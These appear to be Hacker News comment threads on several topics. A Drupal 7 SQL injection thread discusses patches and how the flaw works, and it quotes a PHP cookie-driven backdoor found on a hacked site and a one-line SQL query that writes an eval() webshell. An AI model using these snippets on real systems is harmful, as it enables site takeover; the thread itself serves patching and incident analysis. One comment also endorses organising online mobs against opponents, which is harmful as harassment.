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Tell HN : SparkFun Electronics $100 Give Away Tomorrow - kqr2
Just a reminder that SparkFun's give away is tomorrow.<p>http://www.sparkfun.com/commerce/news.php?id=305
======
migpwr
Why didn't anyone make something like a best bang for 100$ on sparkfun.com
guide? I'll show up to anything that's free but I'm not real sure what the
best deal is.
The Arduino starter kit?
------
sophacles
Remember, the less people you tell, the more likely you are to actually get
the discount -- its limited to only 1k people.
~~~
bockris
Exactly. Shhh!
| {
"pile_set_name": "HackerNews"
} |
Murdoch: Future of Journalism Is Promising - cwan
http://online.wsj.com/article/SB10001424052748704107104574569661532881656.html
======
sophacles
Why oh why wouldn't the wsj promote the commodification of news? Isn't
commodification a basic economic principle? Shouldn't we start working out
business models around adding value to the commodity news, you know, like wsj
itself has done in recent years.
| {
"pile_set_name": "HackerNews"
} |
Apple Gets More Explicit About Bitcoin Apps - testrun
http://techcrunch.com/2014/06/02/apple-gets-more-explicit-about-bitcoin-apps/
======
dang
A dupe of
[https://news.ycombinator.com/item?id=7836067](https://news.ycombinator.com/item?id=7836067).
| {
"pile_set_name": "HackerNews"
} |
What It Was Like to Be a Woman at Goldman Sachs? - khuey
http://www.theatlantic.com/sexes/archive/2012/11/what-it-was-like-to-be-a-woman-at-goldman-sachs/265572/
======
qq66
Another factor may be the fact that Goldman Sachs, and investment banking more
generally, requires sacrifices that, even to me (a college intern nearly 10
years ago) seems completely ridiculous.
Investment banks expect their employees to make their work far and away their
first priority in life. Working hours are often 8am to 1am, not for any real
purpose but just to compete on who is more committed. Weekends? What are
those?
Yes, the pay is extremely high. But the vast majority of the partners at
Goldman Sachs have sacrificed everything important in life -- family, friends,
relationships, marriages, children, hobbies -- just to make tens of millions
of dollars per year. It takes a certain kind of poor prioritization to commit
to such a career and I'm not surprised that more men than women choose to
participate.
------
theorique
_Those facts are not in dispute, and no one who has not been inside this world
has any idea how normalized this misogynist culture is, especially for a firm
like Goldman, which has always prided itself on its "classy" reputation._
GS is a large firm, and has a very high profile. It's not a surprise that it's
under fire for having an environment like this.
This didn't end with the 1990s. Even now, in 2012, lots of smaller broker-
dealers and hedge funds have events that stretch (and cross) the boundaries of
HR-acceptability. For those who object to this kind of environment, it's a
real dilemma. Filing a lawsuit, or even an HR grievance, can be a severely
career-limiting move - after all, what executive wants to promote a person who
has a back history of suing their employers?
| {
"pile_set_name": "HackerNews"
} |
Who's Afraid of Michael Arrington? - scarmig
http://www.theatlanticwire.com/technology/2013/04/whos-afraid-michael-arrington/63933/
======
scarmig
I'm surprised this hasn't turned up on HN yet. If there's truth to the
allegations AND it's been widespread knowledge among the Powers that Be for
awhile, it's a truly disturbing statement on how the Silicon Valley tech
community, in particular, is rife with misogyny.
~~~
gkoberger
There was a post (now also dead) about this story not making HN:
<https://news.ycombinator.com/item?id=5501075>
I don't think there's any actual censorship going on; rather, the story's
sources are dubious and the community is flagging it.
~~~
scarmig
I suppose this submission will be dead shortly, then. Alas: it's interesting
and relevant to me and I suspect many others, even perceiving the weaknesses
in the story.
------
OGinparadise
On the other hand, you can shut up anyone by accusing them of sexual assault
/rape. Almost nothing else matters, an allegation is enough to make that
person radioactive.
I do not know Michael, nor do I care for his personality. Just saying that
sometimes there is another side of the story. If woman x accused you of raping
her 4 years ago at a hotel, how are you going to defend yourself?
~~~
scarmig
I want more information, obviously.
But even a single rape allegation is serious: this case appears, at least to
me, to be a history of sexual assault on multiple different people.
If you had a friend and every single woman who knew him told you "stay away
from him, he's tried to rape me before," I think you would, appropriately,
stay away from that friend.
~~~
OGinparadise
_and every single woman who knew him_
Not even one can say nice words about him?
Personal recommendations are fine, what I don't like is asking for every
newspaper and blog to carry the accusations, without any proof, as gospel.
They may be no way of proving them false, which is essentially required of the
accused in such cases, so any damage would be permanent.
read this <https://gist.github.com/nikcub/5323021>
| {
"pile_set_name": "HackerNews"
} |
Men Only: Inside the charity fundraiser where hostesses are put on show - DanBC
https://www.ft.com/content/075d679e-0033-11e8-9650-9c0ad2d7c5b5
======
thecortado
It's about time someone reported it.
| {
"pile_set_name": "HackerNews"
} |
Does Twitter have a secret weapon for silencing trolls? - rograndom
http://www.theverge.com/2014/11/12/7188549/does-twitter-have-a-secret-weapon-for-silencing-trolls
======
paulhauggis
"gendered harassment"
I'm curious to see if the "anti-harassment" techniques enabled at twitter are
motivated by politics or views of the employees at Twitter.
I feel like if it's anti-religious, anti-republican, or anti-men, it will not
be considered harassment, just an opposing view. However, if it's anti-gay,
anti-women, or anti-liberal, it will definitely be considered harassment,
which is consistent with hypocritical social media and the majority of
communities online.
The ex-Mozilla CEO was bullied, harassed, threatened, and was forced to quit,
but many people even here on HN don't seem to think this is the case. It's
stories like this that make me want to use my social and technical expertise
to start Internet mobs against people with opposing viewpoints. I think some
people just need a little taste of their own medicine. It's the only justice
in the world that we live in, because starting an Internet mob and getting
someone fired has virtually no consequence.
It's sad that opposing viewpoints are now considered "harassment" and silenced
or the person's character is assassinated by "hastag warriors".
| {
"pile_set_name": "HackerNews"
} |
Goats fighting America's plant invasion - fidotron
http://www.bbc.com/news/magazine-30583512
======
ndespres
When my coworkers see news like this they start telling me that I ought to
bring my fleet of Nubian goats out on jobs like this. They do great work,
easily digesting poison ivy (and destroying its seeds so it can't regrow from
their droppings).
Goats are a big component of a project I'm working on now, where they will
graze on fallow land, eating weeds and grasses, depositing fertilizer and
tilling the land with their hooves in the process.
In a small farming operation where the negatives to using many chemicals (to
fertilize crops, and to kill weeds) isn't even always safety or environmental,
but simply cost-related: the work that grazing animals like goats can provide
is a game-changer. Plus, they are super fun animals to be around. I used to
think that having a few backyard chickens for eggs would always be a no-
brainer decision, but now I am sure that I'll always keep a couple goats
around too.
~~~
stinos
_they will graze on fallow land, eating weeds and grasses, depositing
fertilizer and tilling the land with their hooves in the process_
Almost literally as it's described by John Seymour! Ok he talks about pigs,
but there's not _that_ much difference - quote: _To say nothing of the fact
that pigs are the finest free cultivators that were ever invented! They will
clear your land, and plough it, and dung it, and harrow it, and leave it
nearly ready for you to put your seed in, with no more labour to you than the
occasional shifting of an electric fence_
~~~
ndespres
I've got my hands full with my current flock, but I would love to have pigs
for this reason (among others). Would be great to have them root around in
some scrub land as Seymour describes, then use its new fertility to grow
grains to feed myself and the goats, continuing the cycle! Just not enough
time in the day :)
~~~
stinos
Yeah I know the feeling, never enough time. Maintaining land+flock really
seems to be a full time job. But pigs are awesome, very intelligent as well.
We have some kunekune pigs and while they don't prepare the land as described
above, they do happily eat grass and various kinds of plants the entire day
and usually drop their dung in a couple of confined places so it's relatively
easy to collect and use elsewhere. But I admit the main reason we have them is
they are super adorable, cute, friendly, funny, play well together with goats,
loved by children, don't require much looking after, you name it. Highly
recommened :P
------
veidr
I love this hack. My mom had a small herd of pygmie goats for her Montessori
preschool. Some guy she knew convinced her to rent them out for this kind of
job.
It wasn't the money that convinced her (don't think those little guys were the
best earners) but the idea that "we could send in dudes with poison sprayers
and loud gas power mowers, or we could just send Billy and his friends in to
quietly munch on it for a few hours/days".
So many more eco points for doing it with the goats. Plus goats are
intelligent and an interesting population to have suddenly show up and take
over a spot. If there were any kids at the cleanup spot, interacting with the
goats was good for the kids. While being chauffeured to various feasts kept
the goats in high spirits.
Even the obvious down side isn't that bad -- goat shit comes out in these
clean little dry pellets; much better than dog shit or cow shit or bird shit
or a San Francisco sidewalk.
~~~
rprospero
> If there were any kids at the cleanup spot, interacting with the goats was
> good for the kids.
I read this sentence three times before finally deciding that you were using
"kid" to refer to human children and not young goats. It's true either way.
------
stinos
Another advantage which isn't mentioned: the goats (or similar grazing
species) are also walking manure factories (really, compared to a compost heap
they are _machines_ ), so pretty effective at spreading fertilizer all over
the place. Automatically and for free :P
They perfectly fit in the self-sufficiency style - especially compared to the
alternative worst-case senario: you don't need to get your polluting vehicle
and drive to a store to pay money for some chemicals, then drive back and use
some other polluting machine to get the checmical crap where it has to do
whatever it does. Oh yeah, and repeat every year and be left with unhealthy
soil. Which can probably be countered with more chemicals, yay!
------
manishsharan
I have always wondered why western nations do not consume goat meat. One of my
christian friends mentioned is that ii is because of hooves and devil
symbolism; is there any merit to this argument ? I understand Hindus don't eat
beef because of religious reasons and muslims don't eat pork also because of
religious reasons. This is a comparison of nutritional value of goat vs. beef
vs pork.
[http://www.wolframalpha.com/input/?i=goat+meat+vs.+beef+vs.+...](http://www.wolframalpha.com/input/?i=goat+meat+vs.+beef+vs.+pork)
. Bon Apetit!
~~~
digi_owl
I suspect it is a matter of taste.
As for the pork thing, it is not just muslims. Strictly speaking christians
should not touch it either as it is part of the old testament.
My personal take on this is that back then someone observed that people that
ate pork often ended up sick and died.
While we now know that is is because of an illness passed from pig to human,
back then it may well have been interpreted as divine punishment.
But then those days religion and law was one and the same, and so the
declaration of pork as unclean may well be seen as a health and safety
regulation.
Supposedly you can find passages from nearby cultures that line up very well
with the old testament, with one crucial difference. While other cultures
makes violations an offense against society, the bible makes them an offense
against god. Meaning that what others deemed a social or secular matter,
suddenly became religious.
~~~
sp332
Christians had those foods explicitly declared "clean" by God, at the same
time that he declared Gentiles clean.
[https://www.biblegateway.com/passage/?search=Acts%2010&versi...](https://www.biblegateway.com/passage/?search=Acts%2010&version=HCSB)
~~~
digi_owl
Guess it shows i am no theologian...
------
MrBuddyCasino
When Amazon Japan used goats as lawnmowers [1], proper procedure had to be
maintained:
"The company has officially hired the goats following a procedure similar to
the one used when hiring humans: it made identity cards for goats, just as it
did for its human employees."
[1] [http://www.tokyotimes.com/amazon-japan-hires-goats-to-mow-
gr...](http://www.tokyotimes.com/amazon-japan-hires-goats-to-mow-grass/)
------
dalke
It takes 8 years for goat news to cross the Atlantic. ;) The NYT had an
article titled "In Tennessee, Goats Eat the ‘Vine That Ate the South’" in
2007, at
[http://www.nytimes.com/2007/06/05/us/05goats.html?_r=0](http://www.nytimes.com/2007/06/05/us/05goats.html?_r=0)
.
Tallahassee started using sheep in 1999 for kudzu. Unfortunately, people stole
10 of the sheep in 2001 ([http://jacksonville.com/tu-
online/stories/072701/met_6795173...](http://jacksonville.com/tu-
online/stories/072701/met_6795173.html) ) and another 21 in 2003
([http://www.heraldtribune.com/article/20031004/NEWS/310040550](http://www.heraldtribune.com/article/20031004/NEWS/310040550)
).
I can't find mention of Tallahassee still using animals for kudzu control.
------
Eye_of_Mordor
Aren't these goats also an invasive species?
~~~
zwieback
I was wondering about that too, hopefully nothing like the wild pigs that
plague Texas will happen with the goats. We might just have to bring in tigers
or something like that to control the goats later on...
~~~
pixl97
In general hogs breed 3 to 4 times faster based on litter size.
------
soneca
relevant map:
[http://www.washingtonpost.com/blogs/wonkblog/wp/2015/01/12/m...](http://www.washingtonpost.com/blogs/wonkblog/wp/2015/01/12/map-
literally-every-goat-in-the-united-states/)
------
logn
Shark Tank season 5, episode 5: [https://www.youtube.com/watch?v=UHqBFqh-
SIY&t=1340](https://www.youtube.com/watch?v=UHqBFqh-SIY&t=1340)
------
debacle
TIL phragmites is an invasive species. An incredibly fun and useful plant,
right up there with day lily (also invasive and hardy). Kudzu is beautiful but
incredibly destructive.
| {
"pile_set_name": "HackerNews"
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Uber is treating its drivers as sweated labour, says report - haliou
https://www.theguardian.com/technology/2016/dec/09/uber-drivers-report-sweated-labour-minimum-wage
======
superninja234
If you find yourself making less than minimum wage, then get a job making
minimum wage. They aren't that hard to find.
While that still leaves the problem of not being paid nearly enough at least
you get breaks, predictable pay, and the ability to slack off a bit without
directly losing money.
I find it hard to feel sorry for people who latch on to a losing strategy and
never look at other options.
------
taxicabjesus
> “Minicab drivers throughout the UK have been exploited by operators for
> years but Uber’s entry to the market has accelerated a race to the bottom.”
My fellow taxicab drivers found it easy to complain about the company I drove
for, but I thought they tried to be as fair as possible. For example, on my
fourth day of driving the dispatching system went down for a good part of the
day. I was given a credit for that day's lease, so I did pretty well.
The independent contractor model was adopted by the taxi industry because
_initiative_ is what makes the difference between making money and not. If the
company paid drivers minimum wage, there'd be no incentive to work the system
to make as many trips as possible.
I think limousine companies, and those blue airport shuttle vans, are able to
pay their drivers hourly because they have scheduled pickups, and the driver
can be rated on making it to his/her pickups on time / etc.
------
vivekd
Maybe that's odd in the States but here in Canada most jobs that an individual
can get without a degree or experience would fit into the category of sweated
labour. Many people are working multiple jobs to get by because a single
income simply isn't enough. The uber drivers are not being forced to drive for
uber, they are driving out of their own free will, given this, I don't know
how reasonable for someone else to step in and take away what is likely a
means to supplement income for a lot of these people until they can find
something better.
~~~
mikestew
_Many people are working multiple jobs to get by because a single income
simply isn 't enough. The uber drivers are not being forced to drive for uber_
I see a contradiction in those two statements, and a direct relation to the
article. "Not being forced to drive for Uber" seems to ignore a lot, starting
with why the drivers took the job in the first place (which your own comment
even stated).
~~~
vivekd
Yes they are forced to take the job by circumstance, I meant they aren't
forced to take the job by uber or some other entity. But if they are forced to
take the job by circumstance, I imagine depriving them of that job would leave
them in dire circumstances. I doubt uber could stay competitive if they paid
higher wages, as I understand it that company is bleeding money:
>[https://www.bloomberg.com/news/articles/2016-08-25/uber-
lose...](https://www.bloomberg.com/news/articles/2016-08-25/uber-loses-at-
least-1-2-billion-in-first-half-of-2016)
------
Eridrus
The issue with driver compensation almost always depends significantly on the
costs employees are incurring to drive these trips.
In particular those drivers that buy or lease a car just to drive for Uber
seem to struggle. The money seems fine if you already have a car.
I realise that Uber does a bunch of things to undermine this such as
encouraging drivers to lease cars and having stringent requirements on the
type of car they are driving, but maybe we should be complaining more about
that than the revenue they get from Uber.
| {
"pile_set_name": "HackerNews"
} |
Drupal 7 SQL Injection Vulnerability - foofoobar
https://www.sektioneins.de/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
======
anonfunction
The patch is only one line[1], so if you're scared to update Drupal for fear
of breaking things you can just patch the vulnerable part.
In this file:
includes/database/database.inc
Replace line 739:
foreach ($data as $i => $value) {
With the patched code:
foreach (array_values($data) as $i => $value) {
[1] [https://www.drupal.org/files/issues/SA-
CORE-2014-005-D7.patc...](https://www.drupal.org/files/issues/SA-
CORE-2014-005-D7.patch)
~~~
jwineinger
So is that the full patch or is there a validation test included somewhere
else?
~~~
ge0
There is also a test
[http://cgit.drupalcode.org/drupal/commit/?h=7.x&id=449c70287...](http://cgit.drupalcode.org/drupal/commit/?h=7.x&id=449c7028749767f2de5eff4bbba04ba27346056f)
------
fabian2k
This vulnerability is rated highly critical, it works for anonymous users and
can lead to SQL injection and remote code execution.
There are currently around 930,000 Drupal 7 installations
([https://www.drupal.org/project/usage/drupal](https://www.drupal.org/project/usage/drupal)),
I fear that this will lead to a lot of compromised sites.
------
jgrahamc
If you are a paying CloudFlare customer using Drupal please make sure you have
the WAF ruleset for Drupal enabled ([https://blog.cloudflare.com/automatic-
protection-for-common-...](https://blog.cloudflare.com/automatic-protection-
for-common-web-platforms/)) as we rolled out automatic protection against this
when it was announced.
~~~
geerlingguy
In addition, if you use Acquia, Pantheon, Platform.sh, or some other hosting
providers that directly support Drupal, they may have already at least
partially mitigated the attack. But you should still immediately update your
code either by upgrade to Drupal 7.32 or by applying the one line patch
mentioned elsewhere.
Note that Drupal 6 is not affected (it didn't use PDO, so this parameter
parsing functionality doesn't exist).
------
julie1
Drupal like GnuTLS, like openSSL, like joomla, and like a lot of code out
there as always been recognized poor quality unreadable code by my own eyes.
(Like some parts of the linux kernel)
Why don't people see the pattern?
Poorly coded software results in security holes.
And IN statements are stupid with prepared statement. If you can leverage a
«hit or miss» cache effect with a IN statement, you don't need the IN,
elsewhise it is inefficient.
Good solution is when you can do it: replace IN with join avoiding the
shameful pit of Mysql poor performances in subqueries.
The other solution is to avoid IN statement because it cannot be protected
with the bind trick.
And Stackoverflow has the same solutions proposed everywhere, and since people
have no critical sense, this bug is everywhere where people are using IN with
prepared statement.
[http://stackoverflow.com/questions/920353/can-i-bind-an-
arra...](http://stackoverflow.com/questions/920353/can-i-bind-an-array-to-an-
in-condition) [http://stackoverflow.com/questions/1586587/pdo-binding-
value...](http://stackoverflow.com/questions/1586587/pdo-binding-values-for-
mysql-in-statement) [http://stackoverflow.com/questions/589284/imploding-a-
list-f...](http://stackoverflow.com/questions/589284/imploding-a-list-for-use-
in-a-python-mysqldb-in-clause)
[http://stackoverflow.com/questions/3703180/a-prepared-
statem...](http://stackoverflow.com/questions/3703180/a-prepared-statement-
where-in-query-and-sorting-with-mysql)
~~~
taspeotis
> Good solution is when you can do it: replace IN with join avoiding the
> shameful pit of Mysql poor performances in subqueries.
If you use MSSQL you can use IN just fine: use a table valued parameter to
feed in values to look for. It's only one parameter so you get plan caching
for 1, 2 ... n rows in your table valued parameter. (Although plan re-use is
not always a good thing: the plan generated for 1 parameter = 1 row is
necessarily the plan best suited to 1 parameter = 10,000 rows.)
------
WoodenChair
I feel like Hacker News has become home of the "security exploit du jour."
There have always been new exploits being found daily, what's changed is the
severity and wide reaching nature of said exploits.
You might ask, when will we learn? Well, the truth is making secure systems is
incredibly hard work and often comes at the price of
flexibility/usability/programmer productivity. We know how to do it, it's just
not easy to incorporate.
~~~
thejosh
900k+ sites with Drupal, including many government sites. This is a pretty
major exploit - any site running unpatched can be shelled.
~~~
mgkimsal
Isn't this just a Drupal 7 issue? Still will affect a lot, but I know plenty
Drupal installations from that 900k+ figure that are on 5 and 6.
~~~
fabian2k
The 900k+ number is from the official statistics and includes only Drupal 7
installations
([https://www.drupal.org/project/usage/drupal](https://www.drupal.org/project/usage/drupal)).
~~~
mgkimsal
D'oh!
Thanks.
------
btucker
16. Sep. 2014 - Notified the Drupal devs via security contact form
15. Okt. 2014 - Relase of Bugfix by Drupal core Developers
I know it's open source volunteers & all, but that seems like a rather slow
reaction to such a critical vulnerability with a simple fix, doesn't it?
~~~
thejosh
Drupalcon happened during this time.
~~~
ceejayoz
I really don't think that is a valid excuse for taking a month to make a one-
line critical security patch.
~~~
outlandish-josh
The vulnerability has been there for four years. It's critical, but not widely
exploited. As soon as you release an update, the exploits will be found and
weaponized. It's 24 hours later and we're already clocking scripted attacks.
Coordinating a flawless release by a) not doing it during a major distraction
event (DrupalCon) and b) allowing an embargo period for people within the
security community to prepare is MUCH more important than rushing out the fix
a few weeks earlier.
The response here is indicative of the professionalism of the Drupal security
group IMHO.
~~~
chx
Six years. It was committed in 2008 december.
------
perlgeek
IMHO this is the direct result of conflating arrays/list and
hashes/dictionaries into a single thing on the programming language level.
Sure, careful programming would have avoided that, but if the two concept were
fundamentally different types, this bug would be impossible.
~~~
benmmurphy
ruby and perl web frameworks have had similar problems when receiving data it
could be an array or a hash or a string and people assumed it was string but
in the other cases it would cause sql injection or weird behaviour.
------
zgwortz
So, while patching our sites for this, we found one which apparently had
_already_ been patched. This was highly suspicious, especially since the file
mod date is listed as approximately 9 hours ago when nobody was using the
system and no login is registered for it, so we've been investigating. The
only thing we've found so far is another file which was apparently created at
the same exact time as the update:
modules/toolbar/pfmm.php
…which doesn't actually exist in the toolbar module (or anywhere else I can
find). The contents of that look like an attempt to use some kind of exploit:
<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]);
$au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();
Not quite sure what that means, but we're still looking into it.
~~~
snowwrestler
Look at your server logs. Look at the timestamps around the file create date,
and grep the logs for that path. You might be able to see a request creating
that file, or calling it (neither is good...)
~~~
zgwortz
Already done. They're using the SQL injection to create a new page entry in
the menu_router table whose access function was file_put_contents(). They then
call this new page (in our case, they called it "nqabio") to write the
file(s), and then called the pfmm.php.
Unfortunately, that code actually is taking PHP function calls from the
cookies passed in with the request, and we didn't have cookie logging enabled,
so we have no way of figuring out what that actually did. I suspect the Kcqf3
cookie is a decoder or decryption function, but the Kcqf2 function name is a
mystery, and the Kcqf1 parameter could be anything.
------
milankragujevic
PHP proof-of-concept here[1] (one that actually works, the Python one on
pastebin.com doesn't.)
[1] [http://milankragujevic.com/post/66](http://milankragujevic.com/post/66)
------
ayrx
Didn't get much attention when I posted it last night:
[https://news.ycombinator.com/item?id=8459192](https://news.ycombinator.com/item?id=8459192)
~~~
adamnemecek
it's all about timing.
------
userbinator
_Drupal uses prepared statements in all its SQL queries._
There's this common misconception "just use prepared statements and they'll
completely prevent SQL injection" floating around. Good to see (yet another)
counterexample of that. Prepared statements and parameters are only strategies
that can help, but they don't replace an understanding of where the characters
in the query are coming from and how they're being used. Escaping shouldn't be
a difficult concept to understand either.
~~~
meritt
These aren't prepared statements. This wouldn't be an issue if they were
actual RDBMS prepared statements. These are the bullshit fake prepared
statements that PDO emulates by default to achieve cross-database
compatibility to offer things like named-parameters (oracle, postgresql
support) for databases that only offer positional parameters (mysql, mssql).
It's quite simply shoddy string substitution that's not doing proper escaping,
as you pointed out.
~~~
taspeotis
> databases that only offer positional parameters (mysql, mssql).
Something between PHP and MSSQL must not support named parameters, because
MSSQL supports them just fine.
~~~
eli
So does MySQL, actually. They are just allegedly slow (though I've never
benchmarked and I wouldn't be surprised if that's no longer the case).
------
foofoobar
A PoC can be found here:
[http://pastebin.com/nDwLFV3v](http://pastebin.com/nDwLFV3v)
~~~
thejosh
Should remove block, make sure url is /user
This wouldn't work for me.
------
dageshi
For those who don't want to do a full core update, you can apply a one line
patch by the looks of it.
[http://www.reddit.com/r/drupal/comments/2jbuiz/drupal_732_fi...](http://www.reddit.com/r/drupal/comments/2jbuiz/drupal_732_fixes_a_highly_critical_security_issue/)
~~~
thathonkey
7.32 is a one line change btw, so the patch is same difference.
~~~
zaphoyd
it might not be a one line change if you are on a version older than 7.31
~~~
chx
It is. Same patch applies back to 7.0 (and even earlier).
------
nerdy
Does anyone else think that this portion of code needs revising?
The patch adds array_values() which basically just resets the array to a 0..n
index instead of whatever alpha/numeric mix it might've been before.
This means an array with a particular key can cause injection. Doesn't that
seem a bit of an obscure thing to have to protect? Do people who're new to the
project know about that?
Does someone understand something I don't? Even looking at the patch only,
from a conceptual perspective, how does the usage of that array and its keys
even make sense in a context where a certain key can allow injection?
~~~
TacticalMalice
The key was used to name expanded placeholders. The intent was to get
"placeholder_1", "placeholder_2" ... "placeholder_N" in the query for the
number of elements in the argument array.
However, arrays can have non numerical keys. This results in
"placeholder_KEY", "placeholder_KEY2".
If Key is a SQL query fragment, that ends up verbatim in the placeholders
section.
Suppose you pass $_GET['foo'] as a query argument. An attacker can
(simplified) supply ?foo[EXPLOIT] and poof, $_GET['foo'] is an array with
'EXPLOIT' among the keys that suddenly gets into the query verbatim.
------
pestaa
Please note that in this case the prepared statement gave the false sense of
security, but is not actually responsible for the vulnerability.
Due to the statement being prepared, all bound parameters are correctly
encoded -- not the parameter names themselves though, which Drupal should have
sanitized first.
Letting $data through the array_values() call will give you a zero-indexed
array, which gives you predictable and safe parameter names.
------
pearjuice
Google searching for "Powered by Drupal" delivers quite a substantial amount
of high profile websites. Either as portfolio cases or directly referenced to
in website footers. I don't know who will be faster; system administrators
patching the bunch or people with malicious intentions writing automated tools
to compromise hundreds of sites per second.
~~~
mixologic
The latter.
------
anonfunction
> Full SQL injection, which results in total control and code execution of
> Website.
Well that doesn't sound good. Drupal.org itself is still running[1] on the
unpatched version 7.3.1 which sends a message of how likely sites are to be
updated.
[1]
[https://www.drupal.org/CHANGELOG.txt](https://www.drupal.org/CHANGELOG.txt)
~~~
TacticalMalice
Drupal.org is patched and has been for weeks.
~~~
pearjuice
That's impressive given the exploit is a day old.
~~~
antsar
FTFA:
> Disclosure Timeline:
> 16\. Sep. 2014 - Notified the Drupal devs via security contact form
> 15\. Okt. 2014 - Relase of Bugfix by Drupal core Developers
~~~
pearjuice
Ah, must have overlooked the months. Makes me wonder why they left this in the
wild for a month and now suddenly put thousands of installations at risk.
~~~
TacticalMalice
> now suddenly put thousands of installations at risk
There's a solution that goes with the advisory. You cannot provide a patch
without putting sites at risk.
Furthermore, the vulnerability was present since the Drupal 7.0 release,
several years ago. There were no exploits seen in the wild. What are a few
weeks then?
The team decided that speed to patch sites asap _after_ release of the
information was critical. This is the reason why it was released after a pre-
announcement and after a conference tying up most stakeholders.
------
aikah
Could this problem be solved by quoting parameters ? I believe PDO has quoting
capabilities when it comes to query parameters in prepared statements.i.e. one
can state this parameters is a string , or an integer ....
~~~
TacticalMalice
The problem here is that placeholders are added to the query itself to match
the amount of array items. These newly constructed placeholders inadvertently
contained user data.
~~~
aikah
Oh yeah, I see it now,thanks.
They are naming the query placeholders based directly on the indexes passed in
the querystring parameters?
And since indexes can be whatever string like ?name[DELETE FROM USERS]=foo&...
,you end up with an exploit ...
------
thejosh
Yep, and you can exploit any Drupal 7.31 or below and get full admin access.
------
gabriel-aszalos
GitHub OAuth results in: {"type":"Error","msg":"Hostname/IP doesn't match
certificate's altnames"}
------
ams6110
Drupal 6 appears to not have this flaw?
~~~
zaphoyd
correct.
------
baspray
Would you be protected from this injection if your drupal database tables all
had prefixes?
------
teekert
Hmm, my install is not saying there is a core update... Normally it does this.
~~~
zaphoyd
there is some caching going on because the patch is so new, going into the gui
and clicking manually refresh fixed it for me
------
tbarbugli
how bad is this?
~~~
philo23
It appears to be a pretty serious issue. The SQL injection alone is bad but
the ability to run basically any PHP code through callbacks makes the problem
that much worse.
~~~
mappu
SQL injection alone is often enough to get you RCE if your MySQL account has
FILE permissions enabled (often true). Something like `SELECT "<?php
eval($_GET['x'])" INTO OUTFILE /srv/www/backdoor.php`.
~~~
meowface
>(often true)
I don't think it's that often. By default, a new MySQL user will not have FILE
privileges granted.
Most of the time you see this due to the developer being lazy and just using
the "root" MySQL user.
| {
"pile_set_name": "HackerNews"
} |
Protecting People On Facebook - dbloom
https://www.facebook.com/notes/facebook-security/protecting-people-on-facebook/10151249208250766
======
ghshephard
There is one specific step that everyone can take to eliminate approx 90-95%+
of drive-by-zero-day-exploits without really impacting your web browsing
habits that much:
Disable Plugins on your primary browser.
Whether that be Opera/Safari/IE/Firefox - just disable the plugins. Then, all
of these Java 0days, PDF 0days, Flash 0days won't impact you.
Keep a backup browser, that is _not_ your primary, and use that for your SSL
VPN (frequently Java), or Crappy Enteprise Apps like timesheets and Remedy
(frequently Flash).
Yes, browsers have 0days as well, but they occur much less frequently
(approximately 1/10th) than plugin vulnerabilities, and get repaired much more
quickly.
For the really security conscious, of course, browsing from a
separated/virtualized thin-client is even better, particularly if you can live
with the hassle of refreshing your cookies every so often after a reset.
~~~
danso
This is good advice, but I'd amend it to say this:
For your __Facebook __-viewing browser, disable all plugins. For the most
part, you won't be viewing anything that can't be viewed without HTML5 and
Javascript anyway. The added advantage to sequestering FB activity to a
browser is that you won't be tracked by sites that use FB widgets.
Another added advantage of putting FB in its own browser, and YMMV, but it's
easier to prevent impulsively checking FB in the middle of your normal work-
related internet browsing, as it requires opening a new browser to do so.
~~~
mahyarm
You start running out of browsers quickly, and seperate browser users gets
tedious fast. I really wish there was easy same browser sandboxing that can
save cookies and so on. Double click the gmail icon, and gmail comes up in a
browser user devoted to just gmail, and shows up as a separate process and
separate app. All of the 'make a webpage an app' apps that I've tried still
share browser state amongst the main browser user.
~~~
jewel
This is easy to do with chrome. I have many different profiles, all of which
are completely separate. Just launch with the --user-data-dir argument:
#!/bin/bash
exec chromium-browser --user-data-dir=/home/jewel/.profiles/facebook -app=https://facebook.com
~~~
stephengillie
Does that both specify the custom profile location, and also launch the FB
app?
I'm looking at this, trying to think of how to do the equivalent in Windows.
~~~
jewel
It launches it in app mode (no tabs, no URL bar). I'm not sure if that's the
same thing as launching the FB app.
In windows you copy the chrome shortcut and then edit the shortcut to add the
command-line arguments. Then you add the shortcut to your launcher bar.
Alternatively, you could create a batch file for each site that you want to
isolate somewhere in PATH and launch it from the Start -> Run menu. In other
words, you'd press the start key, then type "facebook", then press enter.
(Please correct me if my instructions are incorrect, I haven't used windows
regularly for a long time.)
------
jtheory
This happened last month, so it was 0-day THEN, not NOW.
The hole in question was patched in the February 1st Java release, plus the
way the Java plugin works now (and how most browsers handle Java now) even if
there are still holes remaining in Java, the user will have to click through
at least one, probably two warnings before they can run the dangerous applet.
So far the latest fixes (in browsers and in Java) seem to have been effective.
~~~
jlgaddis
> ... even if there are still holes remaining in Java, ...
Heh
> ... the user will have to click through at least one, probably two warnings
> before they can run the dangerous applet ...
Unfortunately, there are still way too many users who will happily click
through those warnings (unsigned code, invalid certificates, UAC, and so on)
in order to {look at stupid pictures|play retarded games|win a free iPad|...}
~~~
jtheory
Not many Facebook engineers, though, I suspect.
And it's worth noting that even less technical users aren't so likely to click
through all of the warnings when they're _not_ expecting some kind of
interactive game to play. That also reduces the risk.
There will always be some people who click the links in their spam or open the
fishy attachments, who give permission to anything and everything, and whose
computers are so overloaded with malware, trojans, backdoors, etc. that they
collapse under the weight.
The main trick is to be sure that savvy users can keep themselves safe, and
making sure people doing important things on their computers are savvy.
I think Java is finally in a state now where it's safe for savvy users.
| {
"pile_set_name": "HackerNews"
} |
Create a blank virtual machine for VMWare's VMPlayer online - nickb
http://vmcreator.com/virtual-machine.html
======
imsteve
Nice little tool, but what we really need is something like this for XEN, plus
more options.
~~~
wmf
Doesn't Xen already come with tools to create VMs? If you find them too hard
to use, maybe try Fedora's virt-manager.
------
darose
Also <http://www.easyvmx.com/>
| {
"pile_set_name": "HackerNews"
} |
Algodoo – 2D physics playground - roryokane
http://www.algodoo.com/
======
roryokane
Someone asked
([https://news.ycombinator.com/item?id=6230807](https://news.ycombinator.com/item?id=6230807))
in the discussion of _507 Mechanical Movements_ for a tool that could simulate
those movements. This is such a tool. You could pick an interesting mechanical
movement
([http://507movements.com/index23.html](http://507movements.com/index23.html))
and try building it.
| {
"pile_set_name": "HackerNews"
} |
Java 9 has six weeks to live - md365
http://blog.joda.org/2018/02/java-9-has-six-weeks-to-live.html
======
paulddraper
> The new Java release train means that there will be a new release of Java
> every six months. And when the next release comes out, the previous release
